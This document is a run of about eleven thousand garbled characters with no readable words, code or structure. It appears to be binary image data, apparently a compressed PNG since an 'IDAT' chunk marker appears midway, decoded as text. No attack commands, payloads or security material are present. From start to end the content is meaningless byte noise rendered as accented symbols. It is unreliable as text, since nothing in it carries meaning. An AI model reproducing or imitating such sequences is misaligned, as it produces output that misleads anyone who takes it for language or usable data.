§¸¸Xj6‘€L—¡ö0£ñ“€Ì+·aþ¥Ýam/[vHñYËÚšÑ~3ž›Û¼¦ÉîØ<À[Uª¢õŠa€9Ÿß ƉH߆ .m¡9vÞ€ Ox‹bU@rkîåvÆ”¬8¬VMÊŽ2À.—K¦„HPa@)«M$šöŠ¥™nUmG&¾§•%"ÆÖHN%i€I£–©Ùºê>·¡á86¨´a2Ï´3¦¤EjGIÚQXÓ4I„HPµ¦äžà0îb`²b³¶â-u±;¶æ`ÐCDjU #þF=,‡š#¹À«o—U÷¬vÐÓYöÇ”„ˆÝHDGsrr”Š!âˆÕF(‰×´–ÖÌñ¢hzÿX‹ì¬à¦)1 t;›ѱģ$¼%’ ¼îõ¶'ÄÚ³j pF{p™RÁ›Ô vì"µ®–0³Rñ DÁ€F GjÛ Ø?1½ÿgñˆ‘@ê§LèY9r`ª€Éöƒwú`> µŒ‹L2/·;®$äô€,"‘±Zq©—B¥5 ¾VŒñ܆¥¢yÑØ2oÑLÔöÿÿ‹ôT‚©–¦Š [+B•¶Ôc³J®°3¦d“YX–…¹."BnŽåÇ<È€ ÍT\| À–ygæ€ñ5ÕvÄØ6…¿ݺëJ” -1Ñ㑾vÄ ¨,»êN€Iá‰jçGçoJ7ƒyÙö²%RpºÒüfæ,¤¥Y^èKF„H` Ršs&6Õ*È:Þ?KÿDÓ”Î__ñ³1FÊÃÿý¦ûO‘¾~ä€U« ÕLx“Ýwƒtój H7MzÝq% VÛhÇH DB#FžÊëŠ%ä*­¹Š[ë†:º©8èÿUΠÊhÚ3Ì[çm[³ÇÎcJŠŽÑCê-éŽíók ììØbmY³‹™/&ð+Ñ^ƒA•n—öB{pé9ñŒ=Y•ùDˆx5­Kב•iùÁ2 D›•w¤ ˆ§9Ü{p÷&ËNí÷ê­¸Ìwõó‘ÅÍõkì½S‘óíï¿À[£jÌøÝœ–u?³;Ƙ·õ1ß?¸¿Ra‚A¸ÇîÎnΖuëÀXI@´×``&ÿ³­´æ6¶hª˜Õ¶öäæfÁå²üI„H`¤¸ULí°áÝ@óš§ü3—›`þ•©›óKZê¿TÚÒõçºÕZKknðÑ(›·¡ß¸!qÆœ”¶Ôd@}Ï<á]m¥KΊG'_/ÐRÿOün0Ñ^cðjº7TZûŸPÙB¥öâŽM§çÿAäLÅ0!D¤Ì„)ÔÏüŒ½fë Ú%-õ×XQ×J­¥KßNˆºZ_/L¼«$ô|\M[²½Íè¿7ª¡uÖpâĽ9Íõ ¢Yp©s™ÝM­¥µïŽw"ç|`I„HtjŸ ͶßéÒ–úƒè›¶”; xmšaðKÛ?óì’æº·9½¯8íÁ%ˉù—ˆú=¾­dK݆xÅkI0·µa?˜¾¦ÞYT´7wXñ Vh®û.1ߌطˆL'à7¡ÒÚ¿ m÷H4Žž@D‡óòò݃+„“‽G{—„žè›Ó\÷•@s]4ÃohÚ¼‰¦”4×]PÒ¼îi'oÔHBeµK™´€í.·U%›ëϘ-;à¦G¾ Uµ¾Ö^^SÏNŸh©ÌWˆˆ ¸%¬y 9¸B½Ê“mØé)™ÿ"á)Dö:]ɦç;çmZ³-·¡áxÜoK„BeµKÁøg4ÇüiCŸñxÇmYPÚÒÒ6£ØÞGi¦I?¡º:æúÎÑ(i©ÿ iüN€ûb½&ºÅC}Í­Á%ïMŒÃƒÔÊgú¤ °©F¡P­‰Kû!¡²¥µÌx"Ú‡? M»8^óþ¯gé·%-ëþ šb ¦öz>ïΟT¼¹þlâ"ýP>‘öSßþþ­mÁ¥ïs*¹™•_ âÑMÓ›ii Ìñû¦ „P—“Sí#Â<îÉÄ.§ãN¡ò%ÕÌüwS¢i?¸#M{ǼMk¶9¿ågÜk¦ù±h¶Ùãs­ÁšÅNܘ³¥þI× ŠiŒQƒø'ÓN¸·†‚57µWW«Ÿâ¥a½ÌÌ™ðx,ÏU䛂 Ìô ¨z QYOÚƒK–³¡ýÀô(/ÁÌü¾¡­Ž°<(Þ²®AÊÛ™àÒ@?÷1Á¯7§¹~ úŒEþbåu™¨ˆ‰2{=ûÚJko/­YŸ)–εe€$B$0«––i½ÖÒ¥o7¡ý;ª#~‡0ð…’–úß8Ù[ªÜié}wx¯ò !Ìë=ÍÉ‚Ö) =4ô]AŒoÚpùt+MÐsmÁÚ5­eKγ·7j[{ì8@¦„Hp¤X©Ô·•Ö~ŒÀǰÚülNsÝWœî‹- @qCÆö^D³ÅŽp}[iÍGœ¼)´j•h©û4ؼŒn{ÞK‰µ‡Jk¿d_OÔvØPà¸ßïWN…qDjŸv”ÈžZ±ÂÕVZó(€ûK%]àÉÃéýq9éo,¶Õ¹/i^ûo0~M[=Ð:é™ÎÝ–¡>´¬û Åež›»¹n«µ‘©Õ÷¶z€ˆ ä¸P!šb`ŒÏ€m¥K‹C¥µÿ!Â@ˆy.”À?=¤ýÔŽ!"¯78‰Ò=G¡ð÷û¿'~)S¢-e=¬‡òóó­XD#„°ÁÔ‚Êii&RiNóL=è@ÙZ+m/[’ešÚ]L¸} &à±yYq˺çœîŸ GêÕ—¶ÔÜVºì ͵QÍ·2ús[°öê’–ºUNôAÅÜÏï¿sŸ=iÅGüðŸ89§õ^¨®v‡‚µ7è.³À-Ø×ÿ:ügÝV“ŒÀÁŠ›×>pô àˆtÿ8¬ý„“ýH<Še€mHLÓ”!+îJ¶-€ Pkií»§poeÂ#,[éLŒ01"Ð\yaÓêÃN÷5ZŽ&PÒ\ÿ}0ßÃ%ˆ ß•ÖÞÍ­iH<ªe€s­À ‡Ã)s\¨ÉIu `ò”•-ô‡JkŸ!à7Q¯5é.0v@£7Zêï¥è·µ'Ç(i©ÿ€ûb¹w¶kÿÒX<Åéþ$GËQGIIIŸÓ7A1*Õ2ÀI1°eÞ¢™`÷3–[}m~Cú6¯­sºŸVHˆÍuŸ àg±\ƒ Á£?×Z¾ÜÒŒ/ù¨mí±:@’Î ‘RXm«0%ɺ—溇amm‡@tM ¹î=Å Gœî£U& €§÷ß@ÌñBåši¬o_óf§ûä„@ FŸJ¦’âƒBˆT•“S"¥Ì_3Ý ?ÐX<…×X{UþsØp•–l^û+§ûgµ„I`aCÃ@Æ„wøW,×a`†FôD¢Õˆ‡CS Ò#}}zzfΘfu ÿA!D*3ôþb¨¬™b>ºwoÃ~§ãS1¸CÌÌ= \UÒ\Ùü­ÏîuºkvH¨rŽ÷ó‘KüûX®Ã€ûÛJkoÖÌpº_ñââ°ò €D–¯”@ˆ„¦©VLŠmn ÍŠ-~&ôóæ4×ýÖé>Ù)á`°Ò^qÐÿ.0~lÁåVzˆZZË–^èt¿â‚/LD2 DS­ÊHŽßiÝ —b¼Ä˜Ú²@s݇K[ê:Ý»%d´j•h©û @÷Zp¹,bþk[iÍ#Mî›Xq ‡¥§§Ë@!›âÀäÕ+Úº¶9šX ئ÷šë–lYSït?â%a`pa`IóÚOt‡5—£&†'¾Ð^¶l¡Ó}³‘Ó[÷Κ5+aë_ !å"@IrB¤6µ)@KŠ)˜Ó\÷[0¾=ê‹'ÜGºV\Ò\wWåÆÇœŽÛ I‘@IsÝÄ|!¥êUÃaÀÍ„O¹\ƶPiíµãçÁ•:³ÚþW),Dj ƒ"ö«´1‘\G{—´ÔÝÆ;‰±õ”0ŽxØ0´@IsÝÇ‹7®ív:V'%݃/¬ 0ÑŸ­» ü¬ýæ¹Íkšœî_,² * ÙÔ¶Gúz—Ë…5ÿû?èºuy Ýé÷ûãWùP¡dfnù\]×·FúzŸèéhšˆ$=ö¶µ|y‘n˜³Y7ŽèGÓ› w®îu:¦DáH9àXZêCíÕÕKù„çWL¸ÈŠk2èL†¶ÒÚï÷31YW²©¶µÇ——méÃHR}S"ÕéÑÔHʇ?ÌÙôÜv1J%I3ðzÅ GŠ[ê.ZhÍ¢ "ÀMi„¡`ÍÛË–d9ÝÏ(:áôÀ€L‘ØtÕò;=^%e¼ºCà0®pÔªë2hÝb²ÖÖVZûµmsªg9Ý×È©•÷ôåZŸ˜¦)B$0ÍTÛle€Eä’68©¤¥n•n¢ŒÕV^—É>£»=/…‚5ì.²åë²µ1«­ìõù-¯p¨   æEšB;ß2ÀBMÒ'P´¥ng Ôw.@wÐo嵘ÈD·ä µk*_RítGáô€|û"Ñ‘ÚÉïõ¸5.`ðäÀ’æµ÷AÕn´úú Lálj/´k_koH°S‰¥2ÈRXˆ”£©n20N›à¤â­k7믤Õ!lÏ©N„j&<’Îè kØVV;Ïé~Ïô/ÈqB¢iòr-_ç( € ,« 2Ÿi7` tïš±Ë鸅=Æ]…;W÷–4¯ý›8ÀfÛÞˆhÝ¢1šC¥µ¿ÙY¾|ºS}&VÖËÊœ·ÛmuòMAˆƬ©Íÿ^V‡Ž[Øc\&'ÍÙR÷Lç,Ï·ew÷Æêöêê©Nô•Hm€E€ €‰MÅ-€,£zãØ¸NàìÕ«Ã%Íuèš9—€ŸÁÎ-åÜë¹Ç™ž:^†aȇ… Mvˆ×ŒûढÍëºÍuïÓH[ °åß¿eÞ¢™qï â€ _™={vWÜû-„P!gˆW¥LpRñæ5/šë—øƒ:¬¾>n—¦-‹w¿¬”Ø0ÐNDI{\¨©Aís‚HöŽg)—f ¹þG®WHüË[›Ñ®ÒÒÒ~§o‚b4ªSr@* ù9½@† …HxŠe€e %HÄ@y*m¤ °©ep«0)mÖMü^§I’Ø+“‹ ðw˜‘13¦Oµ: ù "‘yÒŠPįgÞ³ÇÉ“ME¼HÄØ4çÿ³Aùç@„d¨PˆDF†Úü?É𪠉©ní±ã ),D¢Sûœ`IêS†$IMµ °å {<žNß!Ähä 1æô]BŒJÊ‹aIÜœž !žÚ–-€)C€¤µRg¦|•6LÈ… ,¤Á§ÔˆÜò{"$HR^ÿöÙDðDúz·Û ﬙V‡!#B$°CS Ò#}=Ç÷ïjØçtÜ">$HZa¥a½¼œLèºåÝ’‘À\VœÿG;v:n’$+VÛÚãóåZ‚l"±) #™ÖK)’$+RÝh}`Ó4e@ˆÆŠ ! @J‘ i©•÷´aàþÂÂÂÃNß!Ĩd  ‘ËéhV~u6(œ­p³FS€Ùì5 îA_ÿž¶½ŠM›·½ágÏàÉ…³ý(.̇ϗ¼Üläåf!;+¦iȇ… MmdZ/åH£œœêY†n|d®¤dyòG ¿»÷ìÃî=ûðÜÚõ§üÌãq£¯oà)¯¯24T:4˜í w¨§cÒN`uØéø…Hu ¨|"Ñv§cñ% @ 2ýUçþ9ˆ,ßc—Èúû08ÅA¯›æÐðú'T=m2¾¹¿³qµÓ± ‘”Ö$#©FŠŽ–鯺À¿Ríá?2¼M#<åõWÞít)Ö€ÔHE’ŒM룿%ÐYV]0+ˋˣ¢l*+æ#';sÄ׆úº{й{::÷¢s÷ÞSþw__¿Ó÷glÄŽd0ÓsËünÝõ#çÓÐñÉ L`fí›dzý•` ÐâvZl¶›}½íÃa" 0Š+¼d I0†L_ågº4Öë¸Ýn\pþ \vÉù(/ а€Ë¥À“%‹ªNÿñžÆ[îûÈǾÐÐ××[H b¬ÑT§ï€´¸.>ôð_ À7ÊË4åƒà0Ú`¢ gL@愪.í,À¸À!Ýô´ïÙ³þ€CwSˆ1±Ú!@"@©HvŒ"Ó_uÀO¤G{ —®cåÛ/ÄuW¿³fN·*4Àýç ÙÙÙÇFzQNNõ,CãÈ(ä`*&B¦ÂûE;z:KJâ}Æx¦¯êß œg_ÇpÄ!fj!p;³Ö΄Ў {âÙW!N—é«:´ˆ˜Ze÷î¥ PŠ‘`99Õ³Â.£…o´×XxFîøä‡1»Àí%Þ€ˆvx¯ßï:–ëÌ,ž¢ ôSñà™áf1Óà·f þm°Á¬]Ôӹ៖݀xs+«H§ ñ|ÏSz ÐNL ­Ä!"³½kçÜ]RpEØ)7wÑ̰>°_¡ soÿ”žž–WœŽ]Ä—LŒÀÐoEûðw¹t|øƒWãÚ«.‡¦Y·Ñ‚ˆÖô÷÷_Q\\Ü뵆ž? `ÃЧ((X‘ÞÇGŠÌÓ€ óß ƒOÓâýðÒqV¼ßó”÷< ©|ð¿¡òÍ 0kðúÚú‰ª^L "P»Aâ°ÊšfìhiiI‚E"‘ÔPÚàÅÜ%ÿÔ$ À0²ò*ÏfÂuÑ´sÆ4<|ßÝ( ̶:¨‡ý~ÿ-ùùùJµ=í±:ÜÓ‰xÕ0º)îT4"*PàÜ¡?ˆÁ ™¾Ê}CÖC ©€ ýí-^$ Å3X¦(IN“ék½ôú"7‘™˜1~ç.ËþDôŸÏw Q’>Òàž4ÂDÙ²,?¹¥‘ôÃLÕ!0oh;€íÐNþoc{÷®M/apá¨H ª;7™ö’à+uPÛª­\ºŽ{ïù<æÎ)²: '|>ßMòðW³oWc‹×_ùg²`ûf™¢jÕ>ùБé¯:6ø-BÚA´öÁE‰s:dQâx£v É!@)K€×Éòµ½“¹ªínüÐ5¨>£Üêp¶†qɇsÈe|a½LýD´qi"@* % f:¹(q€v0‡Zˆ™ÛÁÊœ6ð’,JLJJÿæIFRV¢®•r„×_õAmù’EUxø¾/E|°O$ˆ¨ÀB¿ß¿Éé{’Ìrrªgºñ]Þ©{6˜i×ÐèÁë¶5š!Ýð´ïÝÛpÜéÅ©fΜ;YϘpT¥‡ûgÊ’Ô$ À¯oA€ˆ[¡pO<7~÷ˇá÷åX }Áï÷Ùé{2^dTÎ6MœM y8u×ÂD§cKr{ íVàvBahía ·ÙµéÓÁ¥"Õ308ØÓÑ8Ó鸅3d à$â÷B1!zÏ».µüá`cWW×7œ¾ãI×Φ—üôô?÷,ʆÙf;c13œŽ; äýwæÉE‰::ëðú+ neä¡CÒP÷ŽÍ]N>n‘V<¸44b2ÿŸÂ$8‰q¹Êã?#cÞsåe–‡ADwÄc¯¿zv®ß`€çNÿÙÔüòén¸‹fÀE0©à"02¥0*Í0 Å¯þ!vÁë«ê#`7ƒ·Ð ͯíX˜·S%Æ@C‰Z–ùÿ& €œœê|ƒ ¥­ï¸üL›6ÅêPžñûýO8}?04„Ý0ôß)²²*&²ËUÌ>9z0tJ"±?–Ú©€i“)àͯ}aÕáõµõ*wðëÎ;ÀÐÂÄýÙúKhhäxT¬¸Iv¤2I®ðªË!.¹Èú:3¦i~Éé{!Æ6t"߯¡ÿNU]íÎìé÷úëFPpÍ:&XŒ`09 yÌú " ³Û|•{C#Cg0´í|ìX«”o |ìHe’``…Ê㿼l.fççYm-((xÊé{!bÔÐ0Ð Æó+õ¬‚V?3ÀC%›«43( ÉAˆr\x3tÖÁ2& 3£j÷à6µÐn€C ½ÝpQèÐö†#N‡RXDN`ªTùyӲő¿8Ò˜•Æ»UF×N¼à%OžþÓ‘× D–¯6‡òʰ‚h €Mhë¤ÄP\9—ˆ@ÚÑ>R+=ª¥É@ Kùm€@ íh珞ApGÚæ?¾Áyª#m£b¾üü|©#/†•›»h¦¡õTÌ8¥Jc„,§ãKr/ƒO®7:½ŸÐ¡=›;‘$ÉAvÁ‚ù¦É- MŽuw4NN–þ ë¥üÀ‘“ç‘Æ?ü=7æ ­£Aþb4{ö¬?à€çOÿ™×œOÚà”™Å €Q p1ù!;Æ2„-†ž†DpcpÇ€ö“S ƒI‡½½'KÛ™H‹Ù4ÔÊnÑ”‡ Kù€5s.) „øárY»È›ˆþæô}Ék¨–{ÓЧuQ"‚šàtü‰lhÇB8Y Œprabfw8 _Õ.ÆÐtÂë%Ò‰ÞmC/qÊ5¤ °Hù€ÏŠ/,ô[ƒišÏÅ~!†1ê¢Ä®Ìüƒù`}hjÁZ”8x(’$c!èÕ팧.JL÷p¦¿j7㵩B ³Ýô¤‡†žW:®7ÂxT«‘ÉÀ' €â¶™|®å1¸Ýî¦Ø¯"„ªÕáî]¯&ÿ9ý§Ã-J$ @)ÓœŽ>Á>€Î0@РõõÛ´(‘J˺HJu)Ÿ¨n›ñåY¾»#77w¿ÓwAˆÓvÒ'%BeÄòÍ^e/1ía …€æÓ’ƒ—˜#\Sq @“€' €â€//ÛêTVí ‘FKfΜ;™&¥ˆ©üꎅbÁoÄ’Œ†@éƒS (pÑéÉx°®ÂàœC·³—ÀT rg5]Ju)ø|5úÑ«t¢/×ò@~ ŸràÀ¶—q¼¡*]0ôìE÷É¢Äè %¥•¾6K@ʇO3£oߎ@ç0E"…¤t0@Ç‹-âœ9#cf̘fu2 'RFKKK?ÆZ”8Lr¢¹&9ÿxAàRtI¤tÀƒ…\"fCé_@!†œ²(ñt4#¯<Ï -Ò^¿ca°‘啹Æ3z}Uiÿªk×´«ÃNÇ$â/¥å€ÖÿƒYVâ >¸{S'€NOŸþÃìì*¯©Qd³öj…Á €×éàÍÐùïb¦wy}GºA•ßwž‡†œ)"ŵU³6ì`MÓv8}„Hvûö5öèPwúϦUOÕÃÅ­|òŒƒ“Iò⋉ ÐÃúÀ'½¾ªG]†þµ½{dgR Hñ@m€ S~¿ÿ„ÓwAˆñl¨à‹Cÿb¤E‰ ”ñ€Ré3r"n3tã}ÞüÊox' Ü7´fCŒS©ôû•Ü߆-€2ü/„ƒF]”X]íöv™NÙÊ84µP44Œ>þ¦Ó7ö¿ì~w–¿âꮎ›IØ#…€.Ðá|¥5ÖÈ@!UCÃ@Ï`’>l¢~ÊaH̥ĸ@DS?vTië½ù•wõìjúF>€H$©”M¼¾£³U†÷<72½3­C!’Ôi‡!­zýϲ²*29M 0ŸRº¹à,ÿ ± ÒÁøF¦¯r¡n¸®Û»·á¸Ó1 ë¤lÅ€y¹ÙÐ4k«ªÊ!Ƨ®®Ýº¬=ýg+Ò{ÍÃÅ& œzŒòl$bùf¢w.#0#¯üâ¡ÝbHáÀtº˜YF„H1;w®îÐ<ôß)O'=´¡QªÔˆçCùÌ?KUé¤?““S}ÖÞ½ »ŒCX$…µÚÙv400 €âUõ'lúïTÕÕîÌž~ÿ'%Î0ÑîøˆPÖÃÏdTžÕµ³é%§ï—ˆM 'pºPwII‰ 5Á…ãRCÃ@÷ˆÇ(CË.\àgÓ(f¦˜Š<Œ*"*°2 "*`ÿÎÍ]T+%·NÔjg[=@D2ÿ/„°Š¹odžvøßë“S=Ët™o6Áp1€É¼_É€>ð¨®> Nw^D'ñ›Ä«ßƒ5Ë#fÀ$BÛíÝÛ°¿«cÃc=ï1ŽŸÈè#`Þëu 8ËÛe<ätÿDôR2ÈÉ©ö(=Ò×»\:rr2­Cæÿ…quàÀ¶—»;6ü »sN™É|=k+DòæW½Ãé~‰è¤d`z”fgyáÒ-_|+ €Â!«ŒýM?ÑÃú\0îA ‡ü‰NÏ-ó;Ý#¡.%Z‘ÊËíØ(k„NÛ»·áxwgãó20G·(™0Í¥¹¾ët_„º”LXñ ;¶jš&#Bˆ„ÐÕ±ñ¯š®Õ0#ªê¤D¸Øë«x‹ÓýjR2<\#rÙYÖ–'¢#¹¹¹RnS‘0öíܰ%l†WÑP¦Ý ¬HáeÉ'%ë`gú«6¨Ri3}úTø}9ðååÀ—›ýÚÿÎËÆôéju?ˆ¨Áï÷/tú>!Äé¦ç–ùݺ«@®j[¿¯§£égN÷AD&U€£°f/,€ÁBAÞY3Q8ÛâÂ|ø|ÙÈËÍF^nr²3ßPC€ˆ~ç÷û¯tú>!ÄpfåWœA¬=K@†RCæ­ÝM¥ÊI!å€Ì²,„]ûâõ~~_.|yÙðååÀïË3ÿöž{¿ûùî]3v«ÃNß!„8]f^Õ¡áÑ(š^ÖÝÑøg§ãcK¹À›_¹Œ˜žs:c@ƒ·´ÚàÿehÛõ¾ðÖ®®ÇœQ‘º2}UáBµVüDwGÓÛœŽ]Œ-å€YþÊwj ß9GLwÔ âv€ÚæÙ×Û~àÀ¶—P1¾e.(0ÂæV•ƒÓ³æñ÷ì\·‘V”[±©3éœiF |ùÎÆÉ u‚ž1™ªº´´ÀíÄf»Îi!)Ð!„°Â¾vfú«p{ä­ÈEfÿ»ÜçtübtÉñ(´7·²ŠtÚàt¶b¸A!í 1kíLèØ°Çéð„É#7wÑ̽¿ƒ@"mÃÀÓ=g;»]Ê%àõU5!ètN`à8!n§Áуv‡ˆÌö®sw« §cB$¯¿êQ>éë™Ñ¯ ˜3dSbKÉ 3¿êÍ`þ'@–ðŸÌ˜ÑO„—† ¨Ý 1¹Ú§»ì…B}NÇ(„ˆ¿™þ uðz•6¦‰ ÷ïnü‡Ó±‹‘¥d^åûÀô}"¤9K’0™¹@hpa"®?`½] !Éô…×Èë«ÜAD‘6`ð—z:šîr:p1²”M Ë_YÊŒO1è­D°¼ÞoJaÞPèõ£„\èoïìl9ètxBˆØdú+èf…&èîh|»Óq‹‘¥tðzSó˧»á."˜EÁ¤"€‹TB!ä^Åâxè¬àÕóc{÷®M/AN "áeù\Éàß*4iëîhœãtÜbdòP‹Àô¢ê©z˜`£X(,(DyNÇ—äŽ Ž íX·ƒ´¡E‰s:dQ¢‰!3¿¼¬+ âpwGS$ÁOX’Ä( zö¿¢ûýu#(b ”ˆç”rg-Xf”“Ý´eïÞ†ãN‡(D Ѽ¾ªDðDÚ@ëÞ½{¤òi‚’ÀNÕÕîÌž~ÿéÉÀE š`¢Ó!&¹C`´0Ðüúä€k•“…°^¦¯ª„¢H_Oà²®Ž¦f§ãÓÀ9Zvá?›F1‡µbh N+ P1€IN˜äö`ð¼ƒÁSPZ{˜ÂíGvm:ätpB$#¯¿²Ž@5‘¾ž‰—÷ìjZãtÜbx’$¨1%Fœ‹a¶(qv:@!Q¦¯êY–GÜ€°¬{WãZ§ãÓùé5ô-µaè¿SLÍ/ŸîbW± 0Ì⡃˜ Êq:ö$0DÕªàÕ: Бé¯zC£µÃDˆ\f»ÖïíÝÛÐ YÐ$R±¡ò½‘‘$•WR”üåŒ399Õ†ÆQ P1ãäÔˆØ/§F}Þ1Tca(IÐBÌܾ?[ NÇ(„2ý•UFúz2Íš®Ý×9·ž$©d”E‰L4Ÿ€ §CLjÌ{h>}Ç‚,JãE¦¯r/ˆ²#n@Fq÷®MÛŽ[ O1d¥žUÐêgÖŠÁfàÕi…ÁуbÈŽ…Xí,ÝLí´àHo7\:´½áˆÓÁ 1¶®Lÿá*[›¹·rOOË+NG.†' €ˆÈ¬üêð@€@C &Lw:¾dÆàýƒõ†v,B!2Œö®®ÝNÇ'x} DܦÐäXwG£ìfJ`’ˆ˜É1Êö\w€Ý ÞN@ ´¡)Û»wÍÛ)'%Šxñú¼•ˆŸˆôõÌhîél,s:n12Ù b6ÚŽ…@ v´BÞkëPÊ@p09àY”8º¡j•ƒÉðæ×6(êðúÚú UÔ˜nzZ:;ëO8¿OÌb¥\ž8ätÄbt’[…B¡>Û‡þ;Õ¨‹$ЧãOdCG²žL^ÝÎH0ÑO'™¾ª]Ã%t¢w›ÌË uT¬özM¡n€p‚$Â9 Ý#%œZð0•Qð´c”ç˜ìtø‰\ á“¤{é¯:å0$&ja¢fY”(FPz5³$ NæfERšá«ÌÓ æÐÂD8À r•b%âèyuÇ#p¬·k†Ù¾o_cÓñ gx}UÍDFúzfó­=ÿåtÜbd’ˆq%Ó_Õ  Äé8Æ+÷ÓZèuE˜†ŽQ~ rRâx¥yý•¯¨LË1ô@OGƒŒ$0IĸâõWuà¸ó/™Èp1|4§û¬Ü ÐÉÛG¸È uïš± Xv:Fé¹e~·îÚqÆ@wçÔ ù;Ol²@Œ+ʦ’Övg¹®?y„o0ôìE÷É¢Äè(@@e¯ÕS"€udúŽ UÃ-JÔûÂ[»º6s:~12é¥ YÄ;åáŸø$ãÆÌ™s'ƒàŽôõ ýùý---ýeQâLÿ‚\8xzr¢¹òÍ£ü{vQ"{´S%2q ˆšÚvÓãj;zþ¨Ó᧸{S'€N«Oÿ¡œ”#B€,€–žü#& a Àë¯ìÓvšl—E‰¶QÛÙ˜ $ãF8ÜwB÷(LÓs|ªŽvRbAÁŠô|0—˜JÍWÏ;8™ÈI‰c!P:·¦ nO{µü¼¯¯ªŸ€SNJÔ˜[˜¸Y%ªR› È)€É@¾yˆqd…+Ód â—3º;öÌ€1%–-ºÑ` E‰ÊôUÑ”H_¯iÜ·sç㣓@Œ+™¾ª~•…€ÔoNJÎû.¯ÿ•ð@Ð^_º9â"Ibb2s€¡5ÜþêaHa#”œÿ^¢—•U‘É­K¡‰9A›:qçÎÕ½NÇ.F' €W2}Uû†æŒ#ÃFEwç¦MNÇm1šž[æó^ ¢ÀЮ×/JŒø›œó¾×Î;@›­€Ñ ¢IDATˆ@í„\èoïìl9ètxVËÌ]P ×F|{€ŽžŽÆ|§ãc“5b\aâíŠ<€0Þ>´gs€OŸþCY”#¢lÙ-÷0€~¼±ÆÂ¸X”èB@as [“†$bœ¡íj#}5§à±Á£-Jôú«þHÀeNǘÄ^ÝÎà”E‰™þªcƒ£Âà¶Æv"2Û»vÎéVN?f³˜”rBÙ,$ã oWùKD5NGœHˆ¹¤ôa¿L“@œ|žŒn"@*ÿ_˜ÁLðúÚú‰ªvhsˆ¡…˜¹Ì¡Ìi/ RåRÛH2,äVŒ3ZHå0 Ÿ‰ÁŒÁª3’Vf~y˜²UÚÆ—uílÚêj··Ë,ÀàAHÅ*"BšÓýKdC,ç˜ "x(#ìÙmx}U¯Vh×°Þ®›Ú»·á¸½ÑÉ!@ã•$b\1ð:]|ëcw\C‡É4c˜Ÿ¯fB?Ž „D€‹TLƒ‹ååQ ý}Ÿ¬Ðøæ×Ætx}m}„Ê0cj‹B!ßþ“ˆ$bÜ1 óﺮG©É7¸ÕéØÃU{9ºz:çÖ‹¸³³þÏpxã9ÕÕîÌž~ÿpÇ(ƒh€‰Žž“š§ÞRæÿ“‰ø!Æ¥LeÓЖ«Hsî‚T,/;Ë·àMñj•6Ìx¤§³ñÃNÇ­W×0—s'“ DNJŒã‹Ýw;†ˆŒŒˆñêq¼ºß:" }àC¾ætàñFd~\ý»ýÉé¸c1êaH‹²aö½±ÆPLÀ §cOlrP2‘1.ÍÊ«*Ñ4´ª´að4˜3Ïs‰7¿r1= …Ïz'÷ç8{83¦æ—OŸ`ê&*f˜Åà¡mÌå8ŸÓÈ4kºvo´dq¨°Ÿ$bÜÊôU=Â2µVüPwGÓ-NÇ'äõWÕ°X±Ý·º;?åtð‰&+«b"»\Å cð¼ƒ×B*&b*,JÔúwïÞ†ýNÇ!"# €·¼¾Š+ˆ´ß«µâ0U©p0׿àZÿ\­‡5—Ø·cÃN§ãO&Á`ÐÓuX/$Ò‹¡# ñ«!˜1{è$ÀäÆ8ÜÝÙ8Ýé0Dä$ãØJ=ÓߺUù,sæ†YS–Žç!îé¹e~·îj øÍ¿ïîhz‡Óñ/+õ¬‚V?3À§–nfP€€ §#Œ ¿ÐÝÑ´Èé(Däd ÇVÌ•÷áa¥fDÕûzîp‡Ó=°‰æÒ\?ƒòÃ`ðýN?þ¬2ºvâ%/xòôŸÎʯÎ44jÀÅ4tÞ¢ø;´ 35Ä~O2 Ƶœœê Ãe´ÈSlj2ø‚žŽ¦;Ý«eúª¾Â—¢hú¯îŽÆ·:¿xMn†Ö_ ÐкƒW 1@ÈŠg,¤™çvíÜø?§ï‰ˆœ$bÜ‹n®ó",Oë²ü ®dðo ü»ÏØ\Ðݹi“Z;á¯78 ž´Áé2O™Z "?,’ˆ”Í~÷“˜y‹IÚ›tlØãt?¢î¿¿b91ý=ÊSî^6@ó’¹ÿBÅ WfþÁ|°>4µ`¾®t34Œ› ñ#Ý»æüXe8µP' €H^_Õ#D¸!ºÖÒîs‡ÊÚ&•¬¼Ê³Y£¿"ÚóïMÜн»ñ‡N÷C$†©ùåÓìšñ2°:ìt,"6’ˆ”áõ'QºçEj%N_Ó©1®Ø×Ù¸Þé¾DÜgÕuÿ ša`Æßz:/vºBëI-m‘2zzZ^1I{÷Ððe4|ðl–¯* æÂW꙾ªoð³¨þàýÐÝtº'B{Œû£)…x½ãGöî8%‹AtN4í‰àá’‰S²Š¦O™ùÌÑ£='œîÓé²ó«‚¦ø3]ÃeL üîî]^tº?B{H Rα£]ÏNœ’¡4ê‹UЮ˘’µãøÑ®-N÷ P]íöº²>ÍŒßÑìX.ÅÄŸéîØø§»$„°¬)© `EúqóðÿTóÅkLÐg÷wnxÆ¡î7¿êÄü5åc‡íÿ¼»³é½õE'’ˆ”•YX–Å®z"̶âzÌü†öx%@ íhïÄw€è“ª¬¹*?3kòÀy㹂b$"¥ÍÊ«*! ÿ%ÀoÕ5™ÑÂÑôðïºwlî²:æ,E3]Å ë‰iᥟ5ŽŸ¸Pt"5H R^VAålÓ ÿ¡ÐâK› 4ãï¬ñ“81ÐÔÓÓòŠr|Y™†K[HŸCÀeC‡²XЧµ~󢮮Ǭ¾¶"1I ^-û_DF@$LmÌh°wѢ׺L4°ÙèÕ‘h|`ðS˲ò/8ïtN;ùxØ?D ùPÐm@-æ¨mÆhóv Ø¼uëÃ^þË[#ž~îåÂM›žfúY 0K ~Šò&p…í:.]NC*–˜¢°X`u8W‰í:ñ] ‰Æ‡SAæø^M{VûÉÀý{îY4ð°ªÑ¼þÆJFUVpëÍ×2`ß½Ó×bîЋ"²vðàÁí¹æÈ†úúú¢¦5'æÎ_tÒ[+Þ;wÇŽý€î®.î;äÐ1˜c|¯íV÷h›S±ªñ ‹† .p¡o\É®BfCº‡UÀ2àZEŸÁı  •=àwƒT,q2†¯õÀíuNsO¸Ý’x!5zÔˆlͼxåb„Q(‡‡Ùo¶ël.IÅW„÷y`¡òð\*–˜j»Î²P:ín¨Íç(\/à  › ºÛaHç—yPÅ÷³›Ÿ---mªPj|¯ü½o.fw°]§ ¡0xtUã7ÄBxC Õ*ЕÀIáŽ÷:W®;:¾¬°Ýê©Y´2¤b‰„"ïzð¸¦í@8Ò÷’Ùak7³íª„ÞoQQß¶=÷,:+쯙ˆ±“`œø[ùžï%'¢2Xò{Eë#Ñøs&â:2Í``„M þXr"iÿy¦ 킾†P¬Ê£¯eæ×»ð ||Сç‰h3ÂF ‘ý»ŽÏu‡›U•–íÛÓ¿ó—¿ô¨  